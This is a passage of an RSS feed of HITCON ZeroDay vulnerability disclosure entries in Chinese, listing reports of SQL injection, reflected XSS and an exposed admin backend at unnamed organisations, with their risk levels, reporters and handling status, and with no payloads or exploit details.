    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       通報中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/29 21:09:19
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 暖男 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 01:55:37
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:17:21
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:17:21
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:17:21
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00821
    </li>
    <li>
     通報者：jjj378 (
     <a href="/user/jjj378">
      暖男
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 29 Sep 2022 21:09:19 GMT</pubDate></item><item><title> 某單位 sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00820</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00820
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      Sqli
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    通報未回應
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       通報中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/29 20:56:28
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 暖男 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 01:54:40
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:16:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:16:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:16:06
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00820
    </li>
    <li>
     通報者：jjj378 (
     <a href="/user/jjj378">
      暖男
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 29 Sep 2022 20:56:28 GMT</pubDate></item><item><title> 某單位 sqli</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00819</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00819
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 sqli
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      Sqli
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    通報未回應
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       通報中
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/29 20:52:41
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 暖男 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 01:53:07
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:13:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:13:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00819
    </li>
    <li>
     通報者：jjj378 (
     <a href="/user/jjj378">
      暖男
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 29 Sep 2022 20:52:41 GMT</pubDate></item><item><title> 某單位 圖書館查詢XSS</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00818</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00818
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 圖書館查詢XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      搜尋欄可拿來執行js碼
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/29 20:40:17
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 yoni13 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 01:51:09
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:11:56
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:11:56
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00818
    </li>
    <li>
     通報者：yoni13 (
     <a href="/user/yoni13">
      yoni13
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 29 Sep 2022 20:40:17 GMT</pubDate></item><item><title> 某單位 英文學習系統資料庫注入漏洞</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00817</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00817
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 英文學習系統資料庫注入漏洞
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。  漏洞說明： OWASP - SQL Injection https://www.owasp.org/index.php/SQL_Injection  漏洞說明： OWASP - Top 10 - 2017 A1 - Injection https://www.owasp.org/index.php/Top_10-2017_A1-Injection  漏洞說明： CWE-89: Impro
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/29 16:35:44
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 10:10:14
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/03 00:42:24
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:10:50
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:10:50
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:10:51
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00817
    </li>
    <li>
     通報者：lawrence1118 (
     <a href="/user/lawrence1118">
      閃電哈士奇
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資料庫注入攻擊 (SQL Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 29 Sep 2022 16:35:44 GMT</pubDate></item><item><title> 某單位  圖書館館藏查詢暨圖書資料推薦系統 ResolveUrl XSS</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00815</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00815
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位  圖書館館藏查詢暨圖書資料推薦系統 ResolveUrl XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      攻擊者可經由該漏洞竊取使用者身份，或進行掛碼、轉址等攻擊行為。  漏洞說明： OWASP - Cross-site Scripting (XSS) https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)  防護原則： OWASP - XSS (Cross Site Scripting) Prevention Cheat Sheet https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/29 10:31:35
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/29 16:06:24
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/29 16:08:45
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/02 08:12:36
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 閃電哈士奇 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/03 00:41:52
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:07:41
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:07:41
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:07:41
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00815
    </li>
    <li>
     通報者：lawrence1118 (
     <a href="/user/lawrence1118">
      閃電哈士奇
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：反射型跨站腳本攻擊 (Reflected Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 29 Sep 2022 10:31:35 GMT</pubDate></item><item><title> 某單位 後臺未關閉</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00814</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00814
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 後臺未關閉
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      利用ckfinder找到後台並且具有權限
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    修補中
   </div>
   <div class="status-descr">
    Last Update : 2022/10/12
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已通報
      </span>
     </div>
    </li>
    <li class="just-arrived arriving">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       修補階段
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/09/28 18:53:13
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/09/28 23:23:40
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:07:13
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/12 22:07:13
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00814
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
